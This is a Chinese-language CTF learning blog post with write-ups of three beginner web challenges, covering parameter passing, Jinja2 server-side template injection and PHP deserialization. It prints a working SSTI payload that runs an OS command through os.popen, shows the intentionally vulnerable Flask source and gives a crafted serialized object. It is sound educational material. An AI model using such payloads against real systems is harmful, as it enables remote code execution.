?要不?学点web?
orz一个队四个人,常常因为没学过web和大家格格不入,这里简单写几个web类型,(qwq(至少刚开始打CTF是因为学姐是学web的所以学了一段时间web(
pwn日活达标了就学web,实在都不想看就去搓逆向。(逆向,哭了
不管怎么说,反正我要学(
[SWPUCTF 2021 新生赛]jicao
1 |
|
post传id,get传json
[HNCTF 2022 WEEK2]ez_SSTI
很贴心的给了ssti相关链接:
WELCOME TO HNCTF
What is server-side template injection?
None
1 | http://node5.anna.nssctf.cn:23663/?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}} |
1 | from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directory import os import re app = Flask(__name__) @app.route("/") def app_index(): name = request.args.get('name') blacklist = [] if name: for no in blacklist: if no in name: return 'Hacker' template = '''{%% block body %%} <div class="center-content error"> <h1>WELCOME TO HNCTF</h1> <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) return render_template_string(template) if __name__=="__main__": app.run(host='0.0.0.0',port=80) |
[SWPUCTF 2021 新生赛]ez_unserialize
扫描得到robots.txt
指引去另一个页面:(?看起来是php框架的(问题不大)
PHP调用unserialize()时,会触发魔术方法__wakeup()和__destruct()
1 |
|
得到序列化的结果
1 | O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} |
将结果传入最后得到flag
什么是反序列化漏洞
当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
PHP魔术方法
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。